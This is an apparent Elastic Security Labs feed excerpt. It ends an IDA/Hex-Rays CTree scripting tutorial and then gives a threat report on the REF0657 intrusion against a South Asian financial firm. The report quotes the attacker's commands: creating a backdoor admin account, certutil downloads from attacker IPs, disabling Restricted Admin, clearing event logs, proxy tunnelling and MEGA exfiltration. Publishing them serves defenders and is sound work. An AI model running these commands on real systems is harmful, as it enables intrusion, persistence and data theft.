  int label_num = -1;     ///&lt; label number. -1 means no label. items of the expression
                          ///&lt; types (cot_...) should not have labels at the final maturity
                          ///&lt; level, but at the intermediate levels any ctree item
                          ///&lt; may have a label. Labels must be unique. Usually
                          ///&lt; they correspond to the basic block numbers.
  mutable int index = -1; ///&lt; an index in cfunc_t::treeitems.
                          ///&lt; meaningful only after print_func()
//...
</code></pre>
<p>The item type accessed with the <code>op</code> field indicates the type of the node, expression nodes are prefixed with <code>cot_</code> and the statements nodes are prefixed with <code>cit_</code>, example <code>cot_asg</code> indicates that the node is an assignment expression while <code>cit_if</code> indicates that the node is a condition (if) statement.</p>
<p>Depending on the type of the statement node, a <code>cinsn_t</code> can have a different attribute for example if the item type is <code>cit_if</code> we can access the detail of the condition node through the <code>cif</code> field, as seen in the below snippet, <code>cinsn_t</code> is implemented using a union. Note that a <a href="https://hex-rays.com/products/decompiler/manual/sdk/structcblock__t.shtml"><code>cblock_t</code></a> is a block statement which is a list of <code>cinsn_t</code> statements, we can find this type for example at the beginning of a function or after a conditional statement.</p>
<pre><code>struct cinsn_t : public citem_t
{
  union
  {
    cblock_t *cblock;   ///&lt; details of block-statement
    cexpr_t *cexpr;     ///&lt; details of expression-statement
    cif_t *cif;         ///&lt; details of if-statement
    cfor_t *cfor;       ///&lt; details of for-statement
    cwhile_t *cwhile;   ///&lt; details of while-statement
    cdo_t *cdo;         ///&lt; details of do-statement
    cswitch_t *cswitch; ///&lt; details of switch-statement
    creturn_t *creturn; ///&lt; details of return-statement
    cgoto_t *cgoto;     ///&lt; details of goto-statement
    casm_t *casm;       ///&lt; details of asm-statement
  };
//...
</code></pre>
<p>In the example below, the condition node of type <code>cit_if</code> has two child nodes: the left one is of type <code>cit_block</code> which represents the "True" branch and the right is the condition to evaluate, which is a call to a function, a third child is missing as the condition does not have a "False" branch.</p>
<p>The following is a graph showcasing the statement node cit_if</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2f5d5b1859618357/6a7c8815227b1c8e2159279e/image1.png" alt="A graph showcasing the statement node cit_if" title="A graph showcasing the statement node cit_if" /></p>
<p>Find the associated decompilation for the above CTree:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt2237511c4995c57d/6a7c881896b5a60b4687563d/image8.png" alt="The associated decompilation for the above CTree" title="The associated decompilation for the above CTree" /></p>
<p>The same logic applies to expressions nodes <code>cexpr_t</code>, depending on the node type, different attributes are available, as an example, a node of type <code>cot_asg</code> has children nodes accessible with the fields <code>x</code> and <code>y</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt1eebfda92377ba41/6a7c881be3a2196fba9997ed/image2.png" alt="A graph showcasing the expression node cot_asg" title="A graph showcasing the expression node cot_asg" /></p>
<pre><code>struct cexpr_t : public citem_t
{
  union
  {
    cnumber_t *n;     ///&lt; used for \ref cot_num
    fnumber_t *fpc;   ///&lt; used for \ref cot_fnum
    struct
    {
      union
      {
        var_ref_t v;  ///&lt; used for \ref cot_var
        ea_t obj_ea;  ///&lt; used for \ref cot_obj
      };
      int refwidth;   ///&lt; how many bytes are accessed? (-1: none)
    };
    struct
    {
      cexpr_t *x;     ///&lt; the first operand of the expression
      union
      {
        cexpr_t *y;   ///&lt; the second operand of the expression
        carglist_t *a;///&lt; argument list (used for \ref cot_call)
        uint32 m;     ///&lt; member offset (used for \ref cot_memptr, \ref cot_memref)
                      ///&lt; for unions, the member number
      };
      union
      {
        cexpr_t *z;   ///&lt; the third operand of the expression
        int ptrsize;  ///&lt; memory access size (used for \ref cot_ptr, \ref cot_memptr)
      };
    };
//...
</code></pre>
<p>Finally the <a href="https://hex-rays.com/products/decompiler/manual/sdk/structcfunc__t.shtml"><code>cfunc_t</code></a> structure holds information related to the decompiled function, the function address, the microcode block array, and the CTree accessed with the <code>entry_ea</code>, <code>mba</code> and <code>body</code> fields respectively.</p>
<pre><code>struct cfunc_t
{
  ea_t entry_ea;             ///&lt; function entry address
  mba_t *mba;                   ///&lt; underlying microcode
  cinsn_t body;              ///&lt; function body, must be a block
//...
</code></pre>
<h3 id="ctreetraversalexample">CTree traversal example</h3>
<p>The provided Python code serves as a mini recursive visitor of a CTree, note that it does not handle all node types, the last section will describe how to use the Hex-Rays built-in visitor class <a href="https://hex-rays.com/products/decompiler/manual/sdk/structctree__visitor__t.shtml"><code>ctree_visitor_t</code></a>. To begin, we obtain the <code>cfunc</code> of the function using <code>ida_hexrays.decompile</code> and access its CTree via the <code>body</code> field.</p>
<p>Next, we check if the node(item) is an expression or a statement. Finally, we can parse the type through the <code>op</code> field and explore its child nodes.</p>
<pre><code>import idaapi
import ida_hexrays

OP_TYPE = sorted([(getattr(ida_hexrays, x), x) for x in filter(lambda y: y.startswith('cit_') or y.startswith('cot_'), dir(ida_hexrays))])


def get_op_name(op):
    """
    Return the name of the given mcode_t.
    """
    for value, name in OP_TYPE:
        if op == value:
            return name
    return None


def explore_ctree(item):
        print(f"item address: {hex(item.ea)}, item opname: {item.opname}, item op: {get_op_name(item.op)}")
        if item.is_expr():
            if item.op == ida_hexrays.cot_asg:
                explore_ctree(item.x) # left side
                explore_ctree(item.y) # right side

            elif item.op == ida_hexrays.cot_call:
                explore_ctree(item.x)
                for a_item in item.a: # call parameters
                    explore_ctree(a_item)

            elif item.op == ida_hexrays.cot_memptr:
                explore_ctree(item.x)
        else:
            if item.op == ida_hexrays.cit_block:
                for i_item in item.cblock: # list of statement nodes
                    explore_ctree(i_item)

            elif item.op == ida_hexrays.cit_expr:
                explore_ctree(item.cexpr)

            elif item.op == ida_hexrays.cit_return:
                explore_ctree(item.creturn.expr)


def main():
    cfunc = ida_hexrays.decompile(here())
    ctree = cfunc.body
    explore_ctree(ctree)


if __name__ == '__main__':
    main()
</code></pre>
<p>Displayed below is the output of the traversal script executed on the <code>start</code> function of a <a href="https://www.elastic.co/security-labs/revisiting-blister-new-developments-of-the-blister-loader">BLISTER</a> <a href="https://www.virustotal.com/gui/file/c98137e064bc0cd32ed0415e19daf16ed451fe1289bc41e7251dd79326206d53">sample</a>:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb3a7c11ef61dd443/6a7c881e6c6eac8a52f0e49d/image9.png" alt="CTree traversal script’s output, decompiled function, CTree graph" title="CTree traversal script’s output, decompiled function, CTree graph" /></p>
<h3 id="practicalexampleannotatingthecustomimporttableofamalwaresample">Practical example: annotating the custom import table of a malware sample</h3>
<p>Now that we've gained insights into the architecture and structures of the generated CTree, let's delve into a practical application and explore how to automate the annotation of a custom import table of malware.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt03bf7885d042e1a3/6a7c8820bdcff07b53c3d19b/image4.png" alt="Annotation of a custom import table of a malware" title="Annotation of a custom import table of a malware" /></p>
<p>Hex-Rays provides a utility class <a href="https://hex-rays.com/products/decompiler/manual/sdk/structctree__visitor__t.shtml"><code>ctree_visitor_t</code></a> that can be used to traverse and modify the CTree, two important virtual methods to know are:</p>
<ul>
<li><code>visit_insn</code>: to visit a statement</li>
<li><code>visit_expr</code>: to visit an expression</li>
</ul>
<p>For this example, the same BLISTER sample is used; after locating the function that gets Windows APIs addresses by hash at address 0x7FF8CC3B0926(in the .rsrc section), adding the enumeration to the IDB and applying the enum type to its parameter, we create a class that inherits from <code>ctree_visitor_t</code>, as we are interested in expressions, we will be overriding <code>visit_expr</code> only.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3ac078b346285e28/6a7c8823de23158e49fd1ef0/image6.png" alt="CTree graph of a function at address 0x7FF8CC3B7637 generated using hrdevhelper" title="CTree graph of a function at address 0x7FF8CC3B7637 generated using hrdevhelper" /></p>
<p>The idea is to locate a <code>cot_call</code> node(1) of the function that resolves APIs by passing the <code>obj_ea</code> address of node’s first child to the function <code>idc.get_name</code> which will return the function name.</p>
<pre><code>   if expr.op == idaapi.cot_call:
            if idc.get_name(expr.x.obj_ea) == self.func_name:
        #...
</code></pre>
<p>Next retrieve the enum of the hash by accessing the right parameter of the call node(2), in our case parameter 3.</p>
<pre><code>    carg_1 = expr.a[HASH_ENUM_INDEX]
    api_name = ida_lines.tag_remove(carg_1.cexpr.print1(None))  # Get API name
</code></pre>
<p>The next step is to locate the variable that has been assigned the address value of the WinAPI function. To do that we first need to locate the <code>cot_asg</code> node(3), parent of the call node by using the <code>find_parent_of</code> method under <code>cfunc.body</code> of the decompiled function.</p>
<pre><code>    asg_expr = self.cfunc.body.find_parent_of(expr)  # Get node parent
</code></pre>
<p>Finally, we can access the first child node(4) under the <code>cot_asg</code> node, which is of type <code>cot_var</code> and get the current variable name, the Hex-Rays API <a href="https://hex-rays.com/products/decompiler/manual/sdk/hexrays_8hpp.shtml#ab719cfcfa884c57284cd946ac90b3c17"><code>ida_hexrays.rename_lvar</code></a> is used to rename the new variable with the Windows API name taken from the enum parameter.</p>
<p>This process can ultimately save a significant amount of time for an analyst. Instead of spending time on relabeling variables, they can direct their attention to the core functionality. An understanding of how CTrees work can contribute to the development of more effective plugins, enabling the handling of more complex obfuscations.</p>
<p>For a complete understanding and context of the example, please find the entire code below:</p>
<pre><code>import idaapi
import ida_hexrays
import idc
import ida_lines
import random
import string

HASH_ENUM_INDEX = 2


def generate_random_string(length):
    letters = string.ascii_letters
    return "".join(random.choice(letters) for  in range(length))


class ctree_visitor(ida_hexrays.ctree_visitor_t):
    def __init__(self, cfunc):
        ida_hexrays.ctree_visitor_t.__init__(self, ida_hexrays.CV_FAST)
        self.cfunc = cfunc
        self.func_name = "sub_7FF8CC3B0926"# API resolution function name

    def visit_expr(self, expr):
        if expr.op == idaapi.cot_call:
            if idc.get_name(expr.x.obj_ea) == self.func_name:
                carg_1 = expr.a[HASH_ENUM_INDEX]
                api_name = ida_lines.tag_remove(
                    carg_1.cexpr.print1(None)
                )  # Get API name
                expr_parent = self.cfunc.body.find_parent_of(expr)  # Get node parent

                # find asg node
                while expr_parent.op != idaapi.cot_asg:
                    expr_parent = self.cfunc.body.find_parent_of(expr_parent)

                if expr_parent.cexpr.x.op == idaapi.cot_var:
                    lvariable_old_name = (
                        expr_parent.cexpr.x.v.getv().name
                    )  # get name of variable
                    ida_hexrays.rename_lvar(
                        self.cfunc.entry_ea, lvariable_old_name, api_name
                    ) # rename variable
        return 0


def main():
    cfunc = idaapi.decompile(idc.here())
    v = ctree_visitor(cfunc)
    v.apply_to(cfunc.body, None)


if __name__ == "__main__":
    main()
</code></pre>
<h2 id="conclusion">Conclusion</h2>
<p>Concluding our exploration into Hex-Rays microcode and CTree generation, we've gained practical techniques for navigating the complexities of malware obfuscation. The ability to modify Hex-Rays pseudo code allows us to cut through obfuscation like Control Flow Obfuscation, remove dead code, and many more. The Hex-Rays C++ SDK emerges as a valuable resource, offering well-documented guidance for future reference. </p>
<p>We hope that this guide will be helpful to fellow researchers and any avid learner, please find all the scripts in our <a href="https://github.com/elastic/labs-releases/tree/main/tools/ida_scripts">research repository</a>.</p>
<h2 id="resources">Resources</h2>
<ul>
<li><a href="https://i.blackhat.com/us-18/Thu-August-9/us-18-Guilfanov-Decompiler-Internals-Microcode-wp.pdf">Ilfak Guilfanov's Decompiler Internals: Microcode presentation</a></li>
<li><a href="https://hex-rays.com/blog/hex-rays-decompiler-primer">Hex-Rays decompiler primer</a></li>
<li><a href="https://github.com/patois/HRDevHelper/">HRDevHelper</a></li>
<li><a href="https://github.com/gaasedelen/lucid">lucid utility</a></li>
<li><a href="https://hex-rays.com/products/decompiler/manual/sdk/">Hex-Rays SDK</a></li>
<li><a href="https://github.com/elastic/labs-releases">Elastic Security Labs enablement tools</a></li>
</ul>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/introduction-to-hexrays-decompilation-internals</link>
    <guid isPermaLink="false">introduction-to-hexrays-decompilation-internals</guid>
    <category><![CDATA[Malware Analysis]]></category>
    <dc:creator><![CDATA[Salim Bitam]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt188e264e0132d55c/6a7c882733fa8a67ef1fca28/photo-edited-05.png" length="0" type="image/png"/>
    <pubDate>Wed, 14 Feb 2024 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Unmasking a Financial Services Intrusion: REF0657]]></title>
    <description><![CDATA[Elastic Security Labs details an intrusion leveraging open-source tooling and different post-exploitation techniques targeting the financial services industry in South Asia.]]></description>
    <content:encoded><![CDATA[<h2 id="preamble">Preamble</h2>
<p>In December of 2023, Elastic Security Labs detected a smash-and-grab style intrusion directed at a financial services organization in South Asia. Throughout the breach, a diverse set of open-source tools were employed within the victim's environment, some of which we encountered for the first time. The threat group engaged in different post-compromise activities: from discovery/enumeration to utilizing the victim's internal enterprise software against them and eventually leveraging different tunnelers and side-loading techniques to execute Cobalt Strike. In addition, the adversary used the file hosting service Mega to exfiltrate data from the network.</p>
<p>By disclosing the details of this intrusion set (REF0657) and the various tactics, techniques, and procedures (TTPs), we hope to assist fellow defenders and organizations in recognizing and monitoring this type of activity. </p>
<h3 id="keytakeaways">Key takeaways</h3>
<ul>
<li>REF0657 targeted financial services in South Asia</li>
<li>This group leveraged a broad range of post-compromise behaviors, including backdoor access using Microsoft SQL Server, dumping credentials, wiping event logs, and exfiltrating data using MEGA CMD</li>
<li>The activity included an assortment of network tunnelers and proxy tools as well as Cobalt Strike and ties to infrastructure using the C2 framework, Supershell</li>
</ul>
<h2 id="campaignanalysis">Campaign analysis</h2>
<p>Our team identified the initial enumeration happening in a customer environment on December 17, 2023. While we didn't have visibility around the root cause of the infection, we continued to monitor the environment. Over the next several weeks, we discovered seven different hosts, mainly servers, exhibiting a large swath of activity, including:</p>
<ul>
<li>Discovery/enumeration</li>
<li>Downloading additional tools/components</li>
<li>Renaming and staging tools in legitimate folder locations in the environment</li>
<li>Dumping credentials from the registry and adding users to machines</li>
<li>Modifying the environment to enable lateral movement and persistence</li>
<li>Executing proxy tunnelers and shellcode to maintain access into the environment</li>
<li>Compressing and exfiltrating data using cloud services provider Mega</li>
<li>Wiping event logs on multiple machines </li>
</ul>
<h2 id="executionflowtimeline">Execution Flow / Timeline</h2>
<p>A significant portion of the activity observed by our team came through command-line execution abusing Microsoft SQL Server (<code>sqlservr.exe</code>). While we couldn’t pinpoint the root cause, we have reason to believe the attacker gained access to the environment through this remotely accessible server and then started executing commands and running programs using the MSSQL’s stored procedure (<code>xp_cmdshell</code>). This initial endpoint served as the beachhead of the attack where all activity seemed to originate from here.</p>
<h3 id="discoveryenumerationstaging">Discovery/Enumeration/Staging</h3>
<p>The threat actor used several standard Windows utilities for initial discovery and enumeration. The following graphic shows the different commands spawned from the parent process (<code>sqlservr.exe</code>):</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt5849a9d81855eaff/6a7c9835bd219862ae752769/image9.png" alt="Observed command-lines associated with discovery" title="Observed command-lines associated with discovery" /></p>
<p>Oftentimes, the attacker checked to verify their payloads were running, reviewed network connections on victim machines, and performed directory listings to check on their different files.</p>
<p>After initial access was gained, the actor tried several methods for downloading additional payloads and tooling. The adversary started to use <code>certutil.exe</code> and then moved to <code>bitsadmin.exe</code>, PowerShell’s <code>DownloadFile()</code> method, and eventually back to <code>certutil.exe</code>. These different tools interacted with IP addresses (<code>149.104.23[.]17</code> and <code>206.237.3[.]150</code>).</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb1d4c349bbc705e8/6a7c98388fc2d01e1b3e8d85/image10.png" alt="Observed command-lines associated with staging" title="Observed command-lines associated with staging" /></p>
<h3 id="lateralmovementpersistence">Lateral Movement + Persistence</h3>
<p>As the actors moved in the environment, they leveraged remote SMB and WMI to create a local administrator account named "helpdesk" on each machine. In some cases, they set up a randomly named Windows service (<code>qLVAMxSGzP</code>) as a persistence mechanism. This service would execute a temporary batch file with commands to add a local user and insert this user into the local administrator group. After execution, the file would then be deleted. </p>
<pre><code>%COMSPEC% /Q /c echo net user helpdesk P@ssw0rd /add &amp;&amp; \ 
net localgroup administrators helpdesk /add \ 
^&gt; \\127.0.0.1\C$\FOUGTZ 2^&gt;^&amp;1 &gt; %TEMP%\VOruiL.bat &amp; \ 
%COMSPEC% /Q /c %TEMP%\VOruiL.bat &amp; %COMSPEC% /Q /c del %TEMP%\VOruiL.bat
</code></pre>
<h3 id="execution">Execution</h3>
<p>The adversary moved to Cobalt Strike for C2 and further execution. This time, they used a legitimately signed version of Trend Micro’s Deep Security Monitor (<code>ds_monitor.exe</code>). This was used to load Cobalt Strike by side-loading a malicious DLL (<code>msvcp140.dll</code>). We observed the download of the DLL from a <code>certutil.exe</code> execution, and then we confirmed this behavior via call stack telemetry.</p>
<pre><code>"C:\Windows\system32\cmd.exe" /c certutil -urlcache -split -f \ 
ht""""tp://206.237.3[.]150:443/1.txt \ 
C:\users\public\downloads\msvcp140.dll
</code></pre>
<p>The screenshot below shows that the actor placed the TrendMicro application inside a directory labeled McAfee in ProgramData. We can see the malicious DLL being loaded from the same directory by checking the call stack.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt752ce152b07fc99f/6a7c983b05b7b540f0185f5e/image2.png" alt="Malicious DLL side-loading of msvcp140.dll" title="Malicious DLL side-loading of msvcp140.dll" /></p>
<p>Shortly after, Run Key persistence was added to execute (<code>ds_monitor.exe</code>) on system startup.</p>
<pre><code>reg  add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v \ 
TrendMicro /t REG_SZ /d \ 
"C:\ProgramData\McAfee\TrendMicro\ds_monitor.exe" /f /reg:64
</code></pre>
<p>An analysis on <code>msvcp140.dll</code> reveals that the threat actor tampered with the DllEntryPoint of the legit Windows DLL by substituting it with modified code sourced from a public <a href="https://github.com/ShadowMccc/MemoryEvasion">repository</a> - this is a custom Cobalt Strike memory evasion loader.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltbe6f15c65bdcbf4a/6a7c983eb43770bdb34d14fd/image6.png" alt="Decompiled Sleep Obfuscation loading Cobalt Strike" title="Decompiled Sleep Obfuscation loading Cobalt Strike" /></p>
<p>While the original code retrieved the Cobalt Strike beacon from memory, the altered version loads a beacon in base64 format from a file named <code>config.ini</code> that connects to <code>msedge[.]one</code>.</p>
<h3 id="dumpingcredentials">Dumping credentials</h3>
<p>One of the main methods observed for gathering credentials was dumping the Security Account Manager (SAM) registry hive on different servers.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc5a98cd25463c38f/6a7c9841fc63ab88276474ab/image11.png" alt="Events showing SAM registry dump" title="Events showing SAM registry dump" /></p>
<h3 id="networkregistryloggingmodifications">Network/Registry/Logging Modifications</h3>
<p>The threat actor modified several different configurations and settings to help further increase their access to the environment. One of our first observations of this behavior was <a href="https://learn.microsoft.com/en-us/windows-hardware/customize/desktop/unattend/microsoft-windows-terminalservices-localsessionmanager-fdenytsconnections">enabling RDP</a> (set value to 0) through the registry at the following path (<code>HKLM\SYSTEM\ControlSet001\Control\Terminal Server\fDenyTSConnections)</code>. Then, they disabled the Windows Firewall rules using the command:<code>NetSh Advfirewall set allprofiles state off</code>.</p>
<p>Afterward, they enabled <a href="https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn408190(v=ws.11)#restricted-admin-mode-for-remote-desktop-connection">Restricted Admin</a> mode through a registry modification, this allowed the adversary to conduct pass-the-hash style attacks against Remote Desktop Protocol (RDP). </p>
<pre><code>cmd.exe /Q /c REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" \ 
/v DisableRestrictedAdmin /t REG_DWORD /d 00000000 \ 
/f 1&gt; \\127.0.0.1\C$\Windows\Temp\RExePi 2&gt;&amp;1
</code></pre>
<p>In addition to these changes, the attacker also wiped the Windows event logs for System and Security notifications using the Windows Event Utility, <code>wevtutil.exe</code>:</p>
<pre><code>cmd.exe /Q /c wevtutil.exe cl System 1&gt; \ 
\\127.0.0.1\C$\Windows\Temp\ksASGt 2&gt;&amp;1

cmd.exe /Q /c wevtutil.exe cl Security 1&gt; \ 
\\127.0.0.1\C$\Windows\Temp\uhxJiw 2&gt;&amp;1
</code></pre>
<h3 id="tunnelingproxytools">Tunneling/Proxy Tools</h3>
<p>After a day of initial access, the adversary generated several shellcode injection alerts using <code>AppLaunch.exe</code> (a binary that manages and executes applications built with Microsoft's .NET Framework) and outputting the results to a file called <code>1.txt</code>. The command line argument associated with this alert is as follows: <code>c:\programdata\AppLaunch.exe proxy -r 206.237.0[.]49:12355 &gt;&gt; 1.txt</code></p>
<p>After examining the injected code, we identified the shellcode as a Golang binary known as <code>iox</code>, which can be compiled from the following publicly available <a href="https://github.com/EddieIvan01/iox">repository</a>. This tool is designed for port forwarding and proxying with additional features such as traffic encryption. Based on the observed command line, the attacker established a proxy connection to <code>206.237.0[.]49</code> on port <code>12355</code>.</p>
<p>Intended or not, the proxy utility was launched by several different legitimate processes: <code>lsass.exe</code>, <code>vmtoolsd.exe</code>, and <code>mctray.exe</code>. In this case, the threat actor side-loaded a common malicious unsigned DLL (<code>mscoree.dll</code>) located in the <code>C:\programdata\</code> directory.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltea59ff594754fe0b/6a7c984305b7b5654c185f66/image5.png" alt="Malicious DLL side-loading of mscoree.dll" title="Malicious DLL side-loading of mscoree.dll" /></p>
<p>The actor employed another proxy known as <a href="https://github.com/Mob2003/rakshasa">Rakshasa</a>, downloaded directly from the tool's official GitHub page using the <code>certutil</code> command. It was stored in <code>c:\users\public\downloads\ra.exe</code>, and then executed with the following command:
<code>C:\Windows\system32\cmd.exe /C C:\Users\Public\Downloads\ra.exe -d 149.104.23[.]176:80</code>.</p>
<p>This command creates a proxy tunnel to the threat actor infrastructure, connecting to the IP address <code>149.104.23.176</code> on port <code>80</code>. If that wasn’t enough, the actor started to send and retrieve data from the network through ICMP tunneling. For example, when the actor executed the tasklist command, the output was saved to <code>C:\programdata\re.txt</code>, and exfiltrated through ICMP using PowerShell.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltaaedbe10b44f6635/6a7c98469f525165c7664505/image8.png" alt="ICMP tunneling script using PowerShell" title="ICMP tunneling script using PowerShell" /></p>
<h3 id="exfiltration">Exfiltration</h3>
<p>One of the more noteworthy parts of this intrusion was centered around the adversary downloading <a href="https://mega.io/cmd">MEGA Cmd</a>, a command-line utility that works with the Mega file hosting service. While still leveraging MSSQL, they downloaded this program, renaming it to <code>ms_edge.exe</code>.</p>
<pre><code>"C:\Windows\system32\cmd.exe" /c certutil -urlcache -split -f \ 
ht""""tp://206.237.3.150:443/megacmd.exe \ 
C:\users\public\downloads\ms_edge.exe
</code></pre>
<p>Shortly after, we observed this utility being executed with an argument to a configuration file (called <code>tmp</code>) and a compressed file stored with a backup extension (<code>.bak</code>) being used in conjunction with Mega.</p>
<pre><code>C:\users\public\downloads\ms_edge.exe  --config \ 
C:\users\public\downloads\tmp copy \ 
REDACTED_FILENAME.bak mega_temp:
</code></pre>
<h3 id="infrastructure">Infrastructure</h3>
<p>Throughout this investigation, the threat group used several servers to host their payloads or forward network traffic. The Elastic Security Labs team discovered two web servers with open directories hosting files publicly reachable on: </p>
<ul>
<li><code>206.237.3[.]150</code></li>
<li><code>206.237.0[.]49</code> </li>
</ul>
<p>!<a href="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltadffa19b9a9ee1aa/6a885985ed71af27c52ec5c5/image3.png" title="Open directory at 206.237.3[.]150">Open directory at 206.237.3[.]150</a></p>
<p>In addition, our team observed <a href="https://github.com/tdragon6/Supershell/tree/main">Supershell</a> panel, a Chinese-based C2 platform running on <code>206.237.[0].49:8888</code>.</p>
<p>!<a href="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt72c83034b3b3386d/6a8859899bbfdb6e92cd0de6/image1.png" title="Supershell Panel on 206.237.0[.]49">Supershell Panel on 206.237.0[.]49</a></p>
<p>We validated an earlier finding in the previous section when we found a configuration file (referred to as <code>tmp</code> in the Exfiltration section) used for automation with the Mega platform containing credentials used by the adversary. As well, there was a variety of web shell files and scripts originating from the following public repositories:</p>
<ul>
<li><a href="https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md#abusing-ssrf-in-aws-ec2-environment">https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md#abusing-ssrf-in-aws-ec2-environment</a></li>
<li><a href="https://github.com/tutorial0/WebShell/blob/master/Aspx/ASPXspy.aspx">https://github.com/tutorial0/WebShell/blob/master/Aspx/ASPXspy.aspx</a></li>
<li><a href="https://github.com/L-codes/Neo-reGeorg/blob/master/templates/tunnel.ashx">https://github.com/L-codes/Neo-reGeorg/blob/master/templates/tunnel.ashx</a></li>
</ul>
<p>Furthermore, within these directories, we identified a few interesting binaries:</p>
<p><strong>cloud_init</strong></p>
<p>One of the files (<code>cloud_init</code>) is a Golang ELF binary packed with UPX. After inspection, it was determined that it was compiled from the <a href="https://github.com/ehang-io/nps/tree/master">NPS repository</a>, another intranet proxy server compatible with most common protocols. The threat actor altered the code to encrypt the strings during compilation. The decryption process uses separate byte arrays where the bytes of one array are combined with the bytes of the other array, employing operations such as addition, XOR, or subtraction for the decryption.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb5dd177cdd571153/6a7c984ac33f4feb06d54f82/image4.png" alt="NPS string obfuscation example" title="NPS string obfuscation example" /></p>
<p><strong>MSASN1.dll</strong></p>
<p>After review, this DLL matched the same functionality/code as the previously discussed file (<code>msvcp140.dll</code>).</p>
<h3 id="ref0657throughmitreattck">REF0657 through MITRE ATT&amp;CK</h3>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h4 id="tactics">Tactics</h4>
<p>Tactics represent the why of a technique or sub-technique. The adversary’s tactical goal is the reason for performing an action. The tactics observed in REF0657 were:</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0008/">Lateral Movement</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
</ul>
<h4 id="techniques">Techniques</h4>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action. Elastic Security Labs observed the following techniques within REF0657:</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1059/003/">Command and Scripting Interpreter: Windows Command Shell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1218/">System Binary Proxy Execution</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/">Masquerading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1140/">Deobfuscate/Decode Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1047/">Windows Management Instrumentation</a></li>
<li><a href="https://attack.mitre.org/techniques/T1105/">Ingress Tool Transfer</a></li>
<li><a href="https://attack.mitre.org/techniques/T1574/002/">Hijack Execution Flow: DLL Side-Loading</a></li>
</ul>
<h2 id="summary">Summary</h2>
<p>In summary, this intrusion highlighted some new tooling while re-emphasizing that not all intrusions are dictated by novel malware and techniques. These types of threats demonstrate the real-world challenges most organizations are faced with daily.  </p>
<p>The threat group moved very quickly in this environment, where within almost 24 hours, meaningful data to the attacker was extracted from the network. Sharing some of these details can help defenders plug possible holes or gaps in coverage from some of these techniques.</p>
<h3 id="thediamondmodel">The Diamond Model</h3>
<p>Elastic Security Labs utilizes the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf">Diamond Model</a> to describe high-level relationships between the adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a, although cluttered, single diamond.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3da389fb90f52f12/6a7c984cead8ec5ef6ba4e47/image7.png" alt="REF0657 - Diamond Model" title="REF0657 - Diamond Model" /></p>
<h2 id="detectingref0657">Detecting REF0657</h2>
<p>The following detection rules and behavior prevention events were observed throughout the analysis of this intrusion set:</p>
<h3 id="detection">Detection</h3>
<ul>
<li><a href="https://www.elastic.co/guide/en/security/current/direct-outbound-smb-connection.html#direct-outbound-smb-connection">Direct Outbound SMB Connection</a></li>
<li><a href="https://www.elastic.co/guide/en/security/current/execution-via-mssql-xp-cmdshell-stored-procedure.html">Execution via MSSQL xp_cmdshell Stored Procedure</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_execution_via_renamed_signed_binary_proxy.toml">Execution via Renamed Signed Binary Proxy</a></li>
<li><a href="https://www.elastic.co/guide/en/security/current/potential-remote-credential-access-via-registry.html">Potential Remote Credential Access via Registry</a></li>
<li><a href="https://www.elastic.co/guide/en/security/current/process-execution-from-an-unusual-directory.html">Process Execution from an Unusual Directory</a></li>
<li><a href="https://www.elastic.co/guide/en/security/current/suspicious-certutil-commands.html">Suspicious CertUtil Commands</a></li>
